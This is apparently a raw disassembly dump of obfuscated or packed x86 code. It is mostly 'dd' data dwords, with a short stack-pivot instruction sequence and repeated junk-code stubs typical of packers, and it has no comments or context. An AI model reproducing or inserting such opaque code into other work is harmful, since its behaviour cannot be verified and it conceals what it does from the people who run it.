		dd 5711D1A6h, 810AB51Ah, 8DE9CEAEh, 2FE37B8Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 799D89D0h, 66062932h, 0CA79E281h, 1E6D8D89h,	89600629h
		dd 2917958Dh, 0A18D0906h, 6106291Eh, 2D8185C7h,	66D80629h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 10981BC3h, 0CB52CC0h, 9D01E425h, 629210Dh
		dd 14E950h, 27730000h, 0D4DFC88Eh, 48B78CF5h, 2CF0958Fh
		dd 303502C5h, 0BA585FB3h, 3A07CEACh, 200585C7h,	629h, 0B5FF0000h
		dd 6290FF5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	3EC35545h, 271DB529h, 0BE80629h, 6F000000h, 0D43CB33Fh
		dd 0C110FF90h, 5EF5399Ch, 31E995FFh, 9D310629h,	6292461h
		dd 95FF006Ah, 6290591h,	1EEBC08Bh, 36AC2A32h, 259CAD61h
		dd 23684FF4h, 8B1F0B5Fh, 0C49D562Ch, 0C0193F55h, 3183679Fh
		dd 25E990E6h, 1A000000h, 1D5071h, 8 dup(0)
		dd 589E9h, 21D20900h, 0FE0FCB2Dh, 48C39A7Ch, 6F56C8Ah
		dd 0D15C32D4h, 48954D1Dh, 11F767EAh, 0DE383AB7h, 0A244F67Dh
		dd 379343CAh, 0BD7585Eh, 23C27A3Dh, 0EB60C498h,	6CEF4CAFh
		dd 83EAB580h, 0D22551BAh, 3F806CEEh, 0DEB00054h, 0A741F578h
		dd 1C654EC7h, 6CEE95E6h, 0C5137C80h, 973B9375h,	0A5D51562h
		dd 3D73B1BDh, 0FA0A6872h, 7FD1A9F0h, 0F98F37E3h, 55DA8A7Ah
		dd 5B887EF3h, 49C0A470h, 0EC8A986Eh, 24AD093Ah,	13E079DFh
		dd 4E701C5h, 0CEA94F8Fh, 0E3177845h, 806CA890h,	7EC21679h
		dd 68B13E98h, 6CA8C92Ah, 2B6F3080h, 806CA8C8h, 1A226E31h
		dd 11E12D28h, 615C2A75h, 0BD1E27FFh, 0AE20436h,	73C32783h
		dd 30806C6Fh, 7272041Ah, 887ADD66h, 5Ch, 0B7387E47h, 22806C63h
		dd 0D3971AFCh, 8043A9F0h, 11E960C4h, 6CEEA01Dh,	2FF76580h
		dd 0DCE73DA7h, 328B6D7Ah, 0F506D3B9h, 33FADE35h, 1, 0ED1CC438h
		dd 6E9FBB1Dh, 0E81BC698h, 0C066F41Eh, 42B1A808h, 0B9489076h
		dd 0F0ACDCB5h, 36114769h, 8677E349h, 3795E320h,	971CDE57h
		dd 1FEB66C4h, 2452A1B9h, 806CEED3h, 0BC0A553Eh,	3B8F7EDAh
		dd 0B1098265h, 0AD210593h, 7F48DE7Ah, 4F261499h, 0EEBF3066h
		dd 792A806Ch, 75D9BD13h, 282DBFF2h, 0DDBE1ACEh,	68B39056h
		dd 5B5D389Eh, 0A80B0FFEh, 11806C7Ch, 6ADC270Eh,	0DC35BE1h
		dd 7C7DFE24h, 0B664806Ch, 0A5EE58ABh, 0D7297E5Ah, 137ADD57h
		dd 8Dh,	0EB66C4D8h, 0A9ED361Fh,	806CEF46h, 0EEDD5E44h
		dd 5BC4806Ch, 3CB11785h, 442187D5h, 999DE6CFh, 806CEF16h
		dd 30B91D83h, 0E9321D76h, 6CEF4AADh, 88ECB780h,	5D432A38h
		dd 0BC1E146Bh, 0AE48F331h, 0A2849AFEh, 0F89AE22Eh, 0DFAB2085h
		dd 315888F4h, 7AD8BE9Ah, 0C3A147F7h, 3B26F84Eh,	4FCD7EC8h
		dd 13A55FD7h, 405D7ADDh, 96000000h, 1FEB66C4h, 46A9ED36h
		dd 0B3806CEFh, 553694E0h, 0F51C68DEh, 60C63723h, 0EF37D523h
		dd 79FD70D6h, 9ED4BF2h,	8FED2680h, 66C03129h, 6CEEB402h
		dd 45D97F80h, 0DCE723CDh, 1DF7Ah, 0C4140000h, 0BA1CEA61h
		dd 0A29F6BE2h, 0FE5F68BEh, 7623C175h, 64B2E0CDh, 0B7A45EFh
		dd 0EF9B1C1Ah, 1D068695h, 3A927432h, 15016AB3h,	8695EFA2h
		dd 3430040Fh, 37F37AD2h, 28A37ADEh, 0E327755Eh,	8695EF96h
		dd 398F97A9h, 8971825Fh, 3C987E5Ah, 876781B5h, 2769B80Eh
		dd 0D674DBC9h, 62C01434h, 54A7038Ah, 3E9A2EF0h,	2381D75Eh
		dd 90F9C24Bh, 96571162h, 4197F886h, 8012D285h, 3C2874B3h
		dd 5000001h, 89D259C0h,	45BAC58Dh, 1C792A7Ah, 369E044h
		dd 422A56BFh, 0B578C5FAh, 6CC8AE8Ah, 379771E5h,	288355BEh
		dd 23E555A3h, 1FF9C24Bh, 52CA36BFh, 6C9CD5B5h, 0BDCEB286h
		dd 6731879Fh, 0AB2684FAh, 36967440h, 5ACCE99Ah,	0EEC9FF5Bh
		dd 0D5263385h, 0D0104787h, 6A74B348h, 37h, 0D552C0C3h
		dd 3879A788h, 0EFFC7F51h, 41121662h, 68B19C00h,	0CC2F4327h
		dd 5D006C7Dh, 0B85A67BFh, 2BEC2A73h, 0A1319C00h, 0DFD76D7h
		dd 3B64F2C6h, 0A92C3Bh,	0C0850000h, 8D89D259h, 7A45DFFDh
		dd 0C03494E2h, 0C0BA228Bh, 70C001F9h, 78AB1F92h, 0DADEBE1Ch
		dd 26898D7Eh, 9386964Ah, 9C5EB980h, 5F2BA27Ah, 45B6A276h
		dd 9649DE51h, 7158CB86h, 494DE71Bh, 96A88696h, 0FC583890h
		dd 525EB575h, 8547F0F4h, 399FFDE7h, 8466D45Dh, 7C45AE15h
		dd 6349C0A4h, 7614312Fh, 377FA180h, 892A6267h, 0BFF0CD5h
		dd 0BD9BF1D8h, 0DAB214D2h, 0B6AA9753h, 0ED0D870h, 0E73131DBh
		dd 8EE8FF25h, 3320333Bh, 2D9603E5h, 66C6D2C0h, 83E986A6h
		dd 0FB6370B0h, 3B006B27h, 0B653A4D2h, 0D5BE92F6h, 4BCC4787h
		dd 15A40AEDh, 81AC0ABDh, 9A2D53BAh, 0F8FF858Dh,	0CA4F290Fh
		dd 21E0461h, 0A57A4C2Fh, 0F24A0CFAh, 1340A05Eh,	9FE6C770h
		dd 54DDB95Fh, 8E6AB392h, 8AD9A12Ch, 9C962B8Ch, 0AF8D9686h
		dd 4BFE3B6Bh, 5CC2689Bh, 0D81A936Bh, 0FE5A5E3Eh, 168BB0Fh
		dd 54A7D324h, 0C5A21C2Fh, 2A75EB60h, 0BDA47ACEh, 4726F84Eh
		dd 0BCA47ACCh, 850EEF4Dh, 4896325h, 31C761A2h, 0F06859EDh
		dd 0AA969A2Eh, 0D6B3EDA9h, 0AB64F53Bh, 0B0D1BDBh, 66EF4F2Dh
		dd 33BA12F4h, 25F4A6EAh, 2CCF594Fh, 2D66C04Bh, 0BD02F6C2h
		dd 12h,	82563F32h, 73A728h, 0E9806CEFh,	0B8EB5FA6h, 1FC4935Ch
		dd 0E0441AECh, 5C3F9169h, 0DBBD13D7h, 583E9056h, 0DDB315D5h
		dd 29309650h, 0D3AA6CDAh, 3028EE58h, 533A79C1h,	0C381E389h
		dd 4, 3304EB83h, 1C31241Ch, 241C3324h, 0E089505Ch, 405h
		dd 4E88300h, 5C240487h,	52241C89h, 0C281E289h, 4, 4EA81h
		dd 14870000h, 2C895C24h, 1BBE5624h, 0D1610658h,	87EED1E6h
		dd 87D5F7EEh, 17EE81EEh, 8998C9C4h, 0EC815EF3h,	4, 81242489h
		dd 42404h, 685D0000h, 4E80h, 8F241C89h,	2C8B0845h, 0E6895624h
		dd 4C681h, 0C6810000h, 4, 5C243487h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54F76C
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FE906DDCh, 0FAB463A8h, 0A7B8370Eh, 3062FE8h, 6E0FFC5h
		dd 0F0268747h, 3712987Bh, 0E8725B3Eh, 11h, 54491669h, 382E90FDh
		dd 0F1C1FFC7h, 7EBBFC0Eh, 0EF7AB8D3h, 525E50D8h, 5BC2BF0Fh
		dd 7543C681h, 1E680000h, 8000001Dh, 665A2ECFh, 77FFCF81h
		dd 92BB0E8Bh, 814BE9CAh, 7777DDC1h, 7E853h, 889B0000h
		dd 4C6DE0ABh, 5FC68BE4h, 0E050F181h, 0C7817FA6h, 378F4B3Fh
		dd 4F66C181h, 665603C1h, 0DE4CC081h, 0BF0F515Fh, 60068FDAh
		dd 3FF281FCh, 610E14B7h, 0E901EE83h, 0Ah, 0A1B72BCBh, 4A42B345h
		dd 4E4ED440h, 3880F4Eh,	0F000000h, 0EA83DAB7h, 1C850F01h
		dd 80000000h, 2CE98BD0h, 38000000h, 51E1502Eh, 45AABCA8h
		dd 5E1016CEh, 13068DAEh, 66FDA25Bh, 0F817F781h,	0FFFF6FE9h
		dd 3AE378FFh, 0AD59BB3Dh, 0CCA54284h, 0E853946Eh, 9, 8D638F66h
		dd 352E37E9h, 81505AF4h, 778880E6h, 0C2815F1Fh,	673Ch
		dd 80E6B8FCh, 0F08174F5h, 74F59942h, 28B0Fh, 61600000h
		dd 0F3811A8Bh, 7C2905ACh, 5E8h,	0CFB0FF00h, 8D0F1A22h
		dd 6, 860Fh, 81590000h,	9FC974C3h, 28B0F12h, 8B000000h
		dd 65EB81F3h, 0F26E470h, 0A84h,	0C3816000h, 355FAE2Eh
		dd 8961B6B1h, 7DF6811Ah, 8167162Ah, 390037EAh, 81CE8B10h
		dd 390033C2h, 0F78B6610h, 0F01E883h, 1085h, 31C78100h
		dd 0E94E4DEEh, 14h, 4650FD94h, 85E9F8C7h, 0B1FFFFFFh, 4DF11EC2h
		dd 2921D587h, 0EBCD8D8Dh, 0B58B062Fh, 6291AB1h,	1E6D8D89h
		dd 6A0629h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0A05AC3C3h, 0F86DEDAh, 85C7F0B7h,	6292D81h
		dd 61C8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	8FC35747h, 8926A734h, 291B559Dh, 68D38106h, 0C7401F2Bh
		dd 29200585h, 6, 0D7BA6600h, 0B5B5FF5Dh, 6A062916h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 850CC350h, 95FF0759h, 62931E9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 3CC35646h, 0C13CEEA6h, 0A9F39310h
		dd 3870F74h, 0F000000h,	6AF8B7h, 59195FFh, 0C08B0629h
		dd 0F6E638EBh, 91B856A1h, 0F91F092Ah, 361803FFh, 32B29F65h
		dd 16B9EF99h, 996E4B99h, 0E40A56B3h, 7401B29Ch,	5DB9B478h
		dd 9C4C65E5h, 0BC7D12DAh, 0C0BC9E29h, 83C08D18h, 8D8DB618h
		dd 62FECAFh, 0D9858Bh, 8D890629h, 6291E6Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0CCC35040h, 2985B58Bh
		dd 85C70629h, 6292D81h,	67C4h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0F9C35545h,	2B159D89h, 85C70629h
		dd 6292005h, 0
		dd 989B58Bh, 0B5FF0629h, 6290FF5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 87C35646h, 0E995FF85h, 51062931h
		dd 58DAB70Fh, 95FF006Ah, 6290591h, 1EEBC08Bh, 572551D4h
		dd 0EA2990CEh, 0C8264CA7h, 7AFED267h, 0FF968961h, 0F4E2CBC6h
		dd 46289DD2h, 8D8D3F6Fh, 62FED8Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0E3C35646h,	0FA8B5526h, 1E6D8D89h
		dd 6A0629h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 38E924C3h, 7E9F8h, 42A00000h, 0DD6FD429h
		dd 0FBF665Ch, 8185C749h, 0E006292Dh, 6A00006Eh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 9884C353h, 858BD133h, 6291189h, 200585C7h, 629h, 858B0000h
		dd 6291089h, 1F6DB5FFh,	0D7810629h, 30ACEB62h, 31E995FFh
		dd 0BD8B0629h, 6292BF5h, 0FF006AFCh, 29059195h,	0EBC08B06h
		dd 0F5385C58h, 0BA4D2208h, 25B2D835h, 0C27F094Ah, 0CB8171ECh
		dd 1D8558C7h, 83AE9C60h, 0D29258AEh, 1AEFE4BBh,	7F1C609Dh
		dd 0C9F0B87Fh, 0BF15DF0Fh, 17C28017h, 72F442ADh, 78A99F22h
		dd 0F88B9B93h, 879B3FC7h, 101B2003h, 0AFD17C6Dh, 4A7DA828h
		dd 0F7F3C1F1h, 3244EEBEh, 8E8CBh, 85430000h, 0F9F58BD6h
		dd 0BD891255h, 6292119h, 9D2DBF59h, 0C181409Ch,	676Ah
		dd 1F51952Bh, 0C02B0629h, 89011C8Bh, 29125DBDh,	40F38106h
		dd 8B320B73h, 290F0995h, 0B8EB8106h, 0E83B0B41h, 0Eh, 30AD4D67h
		dd 5155DEDBh, 0B52220B4h, 840FF822h, 6,	2C79B58Bh, 815A0629h
		dd 0B0AACBF3h, 0B1BD8B4Fh, 89062910h, 8D89011Ch, 62911C5h
		dd 32A98D29h, 0E8810629h, 23A81AF1h, 286D8D89h,	0C0810629h
		dd 23A81AEDh, 2E498D31h, 0F8810629h, 0FFFF9934h, 0FF86850Fh
		dd 950BFFFFh, 6291189h,	5E9h, 6437BD00h, 4DE90023h, 5B000005h
		dd 29CF0FFCh, 0F412C031h, 0BE589A11h, 4E250A3h,	7B2B2BA6h
		dd 0B13C925Fh, 0C815BBDh, 0C44F28CEh, 9D14F016h, 6E94FD59h
		dd 7A3D010Dh, 0C452D9F4h, 348CE960h, 75F85252h,	0A47ACE2Ah
		dd 0E28B4BC6h, 0EF1A9D99h, 9C87806Ch, 8B02DAB8h, 0D702D63Fh
		dd 9A72D024h, 69F15713h, 8F682E98h, 8ECA204h, 0DB22A90Ch
		dd 839BB96Fh, 8F9725CFh, 51A2D039h, 0B8806CEFh,	0EF4EA1D5h
		dd 0E8BB806Ch, 71D5AB81h, 0CA137AF8h, 6CEE6BCCh, 0C0332E80h
		dd 49372D66h, 0F8782A19h, 0E5331AA9h, 2F2FA407h, 0F0686EC9h
		dd 36AB901h, 0D297F63Ah, 0CCA8B6F0h, 80515FC0h,	0C92F24DDh
		dd 48C5A779h, 899D83FEh, 0E654DFB8h, 0C330298Fh, 3EB717F5h
		dd 0B2C63448h, 0CF4D806Ch, 2415DF57h, 6F2D7ADDh, 6000000h
		dd 11E960C4h, 6CEEA01Dh, 2FF76580h, 0DCE73DA7h,	1F57Ah
		dd 0C47E0000h, 0BB1DED1Ch, 0C6986E9Fh, 0B80651Bh, 0CF2056BFh
		dd 3A806CEEh, 0DE270E69h, 5129A47Ah, 0FC522672h, 32C31F19h
		dd 0DBB91FEBh, 0EECD2E54h, 6B34806Ch, 0F755A600h, 14719B2Fh
		dd 9961E84Ch, 56C86E4Ah, 1006F56Dh, 806CEE9Fh, 0A7B3190Ah
		dd 68B39056h, 21A80CEAh, 66C4A62Dh, 0EF4AADE9h,	0ECB7806Ch
		dd 14EC2585h, 184B3FB2h, 73825E3Ch, 0FA77D1B7h,	79F44A0Ch
		dd 0E539DF81h, 140A4E51h, 855D5D33h, 7651B274h,	0FC63ADC4h
		dd 5A404F1Bh, 8EC4296h,	8E83981h, 70D622D1h, 63351E95h
		dd 472B018Ah, 0BC19FFD4h, 9C6AE1BAh, 4B9A6CB7h,	6CE9EC4Fh
		dd 634AD580h, 5EBA3795h, 14EC66B8h, 0B67ADCEBh,	0DFC6296Dh
		dd 6233806Ch, 6CDFC334h, 1A652E80h, 9254DFBEh, 60925BB1h
		dd 5B000000h, 1FEB66C4h, 9357DCB9h, 243DB71h, 0CB2D21ACh
		dd 480EF875h, 97846291h, 4BA52DF1h, 0E77ADCE5h,	52h, 0E4454B4Ch
		dd 0F8D55BD5h, 0C3A10755h, 4526F84Eh, 0C7A678CEh, 86E7484Eh
		dd 41D2806Ch, 6FCE8066h, 873FB0E6h, 0F9AA806Ch,	7ADC289Eh
		dd 91E02EA4h, 8FED66C7h, 2E8CB569h, 0C438B3A3h,	191DED1Ch
		dd 806CEE99h, 0A82AFC1Ah, 7ADCE748h, 1E2h, 61C44B00h, 4D9F81EAh
		dd 725B90FCh, 4107EBC1h, 0C7286EE5h, 32806C01h,	0EEA00661h
		dd 63258508h, 0F0A6008Dh, 0E74CC52h, 806C01ADh,	0CF200B14h
		dd 9563D549h, 99CABC4Dh, 0F378DDB3h, 0B3F8A143h, 1EE2C6Ah
		dd 1D667A45h, 95019619h, 0CB100386h, 95016CCFh,	0EECA5586h
		dd 60970A70h, 0A4EE5E48h, 0A4101B78h, 0A1888E92h, 2EA707D9h
		dd 0FB72CA2Ch, 7D8EEB0Fh, 50A18695h, 0DAAC2780h, 0C128A304h
		dd 7FD155EBh, 17102031h, 73596CE1h, 82B0399Dh, 0B1098064h
		dd 30F67FDFh, 88B96DEBh, 0C231282Ch, 43CAA264h,	8ADD1178h
		dd 74B4D56Ah, 12680h, 0ED4BAD00h, 0D6B08475h, 6793F843h
		dd 7A45BAAFh, 0E5BB0F10h, 0AC4A8801h, 0B95D43C8h, 384608F1h
		dd 0C7096AACh, 0AFF08696h, 7DA3E244h, 0BF473DD0h, 0BE9CF9Bh
		dd 0D4AAB7B3h, 0C50EF873h, 0C4D793FAh, 0C1A59E80h, 1BEF1CC5h
		dd 3A6DE1C8h, 74B2ECBAh, 5E70h,	52C0FD00h, 0C98A88D5h
		dd 0F0B19C71h, 2E8ADBAFh, 65EE494Fh, 83674E85h,	0C3347440h
		dd 46006CEEh, 44FF010Fh, 84037E22h, 348C92B0h, 41FE06C4h
		dd 5911C2Eh, 4EBBF9A5h,	0E64094D9h, 5DA68F2Ch, 0D91A7653h
		dd 54A03C3Ah, 9C538354h, 5CD7D931h, 712BE761h, 0ACF76D4Bh
		dd 75B9AEh, 4B360000h, 0B48009EDh, 97FC47D2h, 45DFE363h
		dd 0EF5BC47Ah, 16C44D29h, 2D9D14F0h, 96001FC9h,	62C49A86h
		dd 0CE0C8561h, 0FDC66D2Ch, 7593C5B9h, 99613280h, 8A6367C7h
		dd 7BDD2601h, 7FC329A2h, 8A88D102h, 8CC5F129h, 58E1AA90h
		dd 84637E22h, 0F57EDFBDh, 64FADE35h, 0A0020EC2h, 0A705930Dh
		dd 0E94A4895h, 0D08CC656h, 0A8F694Fh, 6C5E44A1h, 5B86A5E8h
		dd 4B810AC8h, 0EEC33462h, 652E806Ch, 5FE4B517h,	803E0076h
		dd 0E6A97A4Ch, 0BAF8C100h, 869CDD39h, 6096FFA0h, 869CDD0Fh
		dd 0ED43A9FAh, 21AA0D09h, 1AF214C6h, 0CCD3D793h, 0D961589Ah
		dd 2DAEB33h, 76D6A28Bh,	0BB5D99FFh, 1F016AE3h, 5C25A2E2h
		dd 2E92E6A4h, 0A402F168h, 63FE779h, 462F2FA6h, 0B4B6397Dh
		dd 7023ABE8h, 6FE64624h, 76F93D06h, 63ABE8B4h, 9806430h
		dd 0B20652B1h, 0AE238553h, 3054Ah, 3FEA0000h, 0EC1FC4B4h
		dd 69E0441Ah, 0D75C3F91h, 56DBBD13h, 0D5583E90h, 50DDB315h
		dd 0DA293096h, 58D3AA6Ch, 0C13028EEh, 1A683A79h, 8900006Eh
		dd 44682414h, 89000009h, 8951241Ch, 4C181E1h, 81000000h
		dd 4E9h, 240C8700h, 2404895Ch, 0E8EBE56h, 11BB22FBh, 3124D4E0h
		dd 24348BF3h, 6804C483h, 53B8h,	83242489h, 58042404h, 4EC81h
		dd 1C890000h, 8408F24h,	5324048Bh, 0C381E389h, 4, 8704C383h
		dd 8B5C241Ch, 8957241Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 89B6E95Ch, 6D21FFF9h, 1FE24CC3h, 2FF366B8h, 0FFC50306h
		dd 97C9F3E0h, 2D536103h, 0F4FC4008h, 193CC516h,	0A4B6DE5Fh
		dd 1E8C9F7Ch, 0A303B531h, 29C5FD6Fh, 0C88D8D2Ah, 80062FF4h
		dd 8D89A4E4h, 6291E6Dh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 9FC35646h, 7D95BAADh,	85C78FD5h, 6292D81h
		dd 6C70h, 15FDD381h, 85C73E51h,	6292005h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 86C35747h
		dd 0BB66FC7Bh, 0B5FF11EBh, 62916B5h, 388EF81h, 95FF5187h
		dd 62931E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	5C35141h, 0E125F34Fh, 0DFDA818Ch, 8135E049h, 0F5504CDEh
		dd 0FF006A11h, 29059195h, 0EBC08B06h, 0CAABDA38h, 0E5CB4FEDh
		dd 3B0884C3h, 835E7F35h, 6ADED69Eh, 0B0D89347h,	0A4CE838Eh
		dd 0ED925579h, 0D25209A7h, 2135F7Bh, 8D55A283h,	0F599583Bh
		dd 0BEB437BFh, 7D5E50Dh, 12E83Fh, 77450000h, 8D6ADC23h
		dd 8F89988Ah, 0F39058CCh, 2DC2C694h, 999BD89h, 8B590629h
		dd 291E8D95h, 66C18106h, 0FC00006Eh, 68h, 0CDB58B00h, 5B062931h
		dd 27519D89h, 34FF0629h, 0EA81660Bh, 8B5810CEh,	65C081D0h
		dd 0F5403697h, 82CAF081h, 0E680345Bh, 7F081C8h,	0F137950h
		dd 5150D2B7h, 0CE952h, 0CB400000h, 16916C14h, 78F001h
		dd 5A5F864Ah, 0F19048Fh, 9D89FFB7h, 6292FDDh, 4B03EB83h
		dd 0A89B589h, 0FB810629h, 0FFFF9250h, 13850Fh, 0BD030000h
		dd 6291EB5h, 1BE9h, 0F7354300h,	554AF9E0h, 0A98D8965h
		dd 0E9062905h, 0FFFFFF86h, 62194196h, 0F6CAAA1Bh, 10E8h
		dd 0F69BB000h, 49C411CCh, 0D5ECA69Ah, 811F61F8h, 4697BE69h
		dd 605A7373h, 0C0BB66FCh, 0C2816196h, 7145h, 14E9h, 0BD9A7600h
		dd 1DAC476Dh, 0AFDBFF81h, 744B6F92h, 0BBE210CAh, 1CE7BBD4h
		dd 0EB816909h, 690900CCh, 850Fh, 32FF0000h, 0A617BE66h
		dd 85896058h, 62923D1h,	968DC5BBh, 0C0816142h, 0AFD1BC1h
		dd 958D2960h, 906292Eh,	2932C18Dh, 0F0816106h, 569CB965h
		dd 11E9h, 9282DA00h, 366DD224h,	273D0EE0h, 6D7F9AE8h, 0F0819D01h
		dd 4836A8E0h, 50FE8B66h, 6800F60h, 89000000h, 29313195h
		dd 0CE806h, 0AEDC0000h,	0FECD07C3h, 764C57C3h, 0D88B8AE9h
		dd 28F615Fh, 0EA83F38Bh, 8CB96601h, 4A4A4AD3h, 9698D8Bh
		dd 0F4B0629h, 0FFFF7585h, 806FBEFFh, 0AE862F4h,	0C000000h
		dd 9E8818D5h, 22C15E4Dh, 8B58F58Ch, 292401BDh, 0FBC08106h
		dd 0E800005Dh, 0Ch, 0EBEFDB3Fh,	0C649CF6h, 9C9BE62Ah, 3DF68166h
		dd 0EBB5AE0h, 81660D1Ah, 0D02C3EBh, 8B088B66h, 292DCD95h
		dd 0D1C18106h, 81225E11h, 74C2CEE9h, 39958B4Ch,	81062930h
		dd 0D649AAC1h, 51B58B1Dh, 89062933h, 9D0B6008h,	6291375h
		dd 15C58589h, 81610629h, 0AD5927E8h, 0EE929h, 3AE20000h
		dd 7E28A566h, 11633322h, 441FFEF1h, 5923C081h, 958929ADh
		dd 629304Dh, 0F01EB83h,	1F85h, 0FE900h,	0CBD70000h, 3DB1494Dh
		dd 0EE035520h, 4BCD8277h, 1CE992h, 0A0B40000h, 443BC974h
		dd 81B58960h, 6606291Bh, 6124C0BFh, 0FFFF6CE9h,	8CF8EAFFh
		dd 0AC4251A8h, 2406A234h, 7D7AA27Ch, 21133BB3h,	2A218019h
		dd 259083B4h, 25DD6F30h, 98A78630h, 233B9799h, 0AD8D8930h
		dd 0A6848630h, 0C658B8Dh, 0A12E8636h, 2590864Bh, 3E1103F6h
		dd 4D6A8019h, 0BFA8DCB2h, 9B2D82B1h, 0DA890E4Ch, 0C532F85h
		dd 0F7A40B36h, 0DA96AA4Bh, 0E3B80DE0h, 0C3FDFB5h, 21FAC836h
		dd 65098630h, 752CC4E7h, 2166C2BBh, 61A886BBh, 0DAC88214h
		dd 0C6F8B85h, 0F7A10B36h, 0DA14AA4Bh, 9CF10DE0h, 25848620h
		dd 25428ED9h, 0A02E2030h, 2590863Eh, 2A818D79h,	0DADB76B5h
		dd 251F6FCFh, 0B8848630h, 23ADCB5Bh, 25428388h,	0A8C27930h
		dd 0A67F88Dh, 60C50B36h, 9D22A9C8h, 0A322A322h,	0AC42491Bh
		dd 2406A234h, 7D7AA27Ch, 21133BB3h, 2A218019h, 259083B4h
		dd 25DD6F30h, 98A78630h, 5E98399h, 22B9A4F3h, 0E8000000h
		dd 13h,	50B333F2h, 709E15FCh, 896288Dh,	2AF7FF0Dh, 0FEFC43Fh
		dd 158Dh, 0EE95200h, 6A000000h,	4C2201D8h, 16831653h, 280A42F3h
		dd 665A5E7Dh, 81DD33BFh, 67EEC2h, 0C5B58B00h, 0B8062911h
		dd 237E7D3Eh, 64F2F081h, 810F237Eh, 3, 8B56ED80h, 0CD85891Ah
		dd 81062906h, 0F4E4CFF3h, 9E928h, 90D50000h, 2493CB6h
		dd 815C6C91h, 85BEF8F3h, 0F0BF0F7Bh, 9ABBC381h,	0AE930B8h
		dd 99000000h, 684AFAB8h, 57056594h, 8B1A892Eh, 2915FDB5h
		dd 55EA8106h, 8B4C677Fh, 2906C1BDh, 51C28106h, 8B4C677Fh
		dd 1E881CEh, 0F000000h,	0FFFF9E85h, 51B860FFh, 8B1CCFB6h
		dd 2911BD85h, 8D8D6106h, 62FF9FAh, 37C38166h, 6D8D8991h
		dd 0F06291Eh, 685h, 41958B00h, 0F906290Dh, 2D8185C7h, 5E980629h
		dd 0B58B0000h, 62931B5h, 200585C7h, 629h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 60B8D1C3h, 161F8FCh,	2909E99Dh, 7DB5FF06h, 6A06291Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 6C9AC355h, 8E27739Fh, 0F5D4DFC8h,	31E995FFh
		dd 6A0629h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 2329ABC3h, 0C65157EEh, 89ED48A5h,	2932B9BDh
		dd 9DB58906h, 6A062912h, 9195FF00h, 8B062905h, 5648EBC0h
		dd 2D996040h, 2DE59592h, 330A4F26h, 5D7B884Bh, 3CA8D13Fh
		dd 1C5A47FBh, 119E8439h, 0EEE8BB26h, 53517A4Eh,	6A05A685h
		dd 87D6691Ch, 0BAFA8814h, 54F06D3Ch, 5456D56Ah,	941A54A0h
		dd 0E5921D6Fh, 0A5825F24h, 0E8ECB50Ch, 0Fh, 208AA5B8h
		dd 918F8458h, 424EE637h, 0FD07A97h, 383h, 4BE68000h, 0C181F559h
		dd 5974h, 1633BFh, 45858900h, 0FF062905h, 0ED952331h, 5B062909h
		dd 23559503h, 0EB810629h, 6E0CDE60h, 618AF281h,	0EB816A28h
		dd 58FB6F36h, 358D3153h, 5E062930h, 0A6BDF381h,	850B3EE2h
		dd 6290A9Dh, 81F51989h,	9FEA4FE9h, 8166525Eh, 5AD61CC0h
		dd 0EA4BC181h, 0BD295E9Fh, 62909FDh, 1EF81h, 850F0000h
		dd 18h,	0E9D0BF0Fh, 1Ch, 0B57CB106h, 0E7E8CA5Ch, 62C3DBE3h
		dd 75C9C66Dh, 84E999B4h, 34FFFFFFh, 0F0791936h,	29E9h
		dd 0F40D1600h, 38h, 8 dup(0)
		dd 6AE90000h, 0EF000008h, 0B5538370h, 789E5CADh, 0C224169Dh
		dd 9076E417h, 0EFBFBF32h, 0C5482EF3h, 9815F711h, 50DBBC5Ah
		dd 29A004E2h, 0F2208125h, 7A3CF381h, 662E5568h,	806CEF18h
		dd 4B232787h, 997BFBC2h, 326E9E00h, 4A3CB511h, 0D10C1B19h
		dd 16AB39Ah, 0B779FA38h, 64B0806Ch, 1389E32Dh, 24702331h
		dd 450FBAE4h, 0CCBAE57Ah, 0F546BC85h, 0DC869563h, 218765B3h
		dd 0EC48AEACh, 6BC38565h, 51F704E2h, 9910F4CDh,	72E20255h
		dd 621874B4h, 0D5000000h, 0FB6666C4h, 0A55BE08h, 942B55BCh
		dd 3182F0F3h, 98806C9Bh, 7E7489F7h, 5E3C92E6h, 400417D3h
		dd 8A07E5DEh, 0C2D51F48h, 326D7ADDh, 0C6000000h, 1FEB66C4h
		dd 6CEE9B1Bh, 351E7780h, 6CEE6EC1h, 0ECC85B80h,	9EFD84Eh
		dd 7ED9BF84h, 3E0519D0h, 0A48F5299h, 21A80CC2h,	6D7AF2C6h
		dd 30h,	4B454BC2h, 0B6D6B6FCh, 8C62C014h, 0FA5C2401h, 450B377h
		dd 2D535DB4h, 9CF83812h, 0C8BE3797h, 2464B09Bh,	806C70D9h
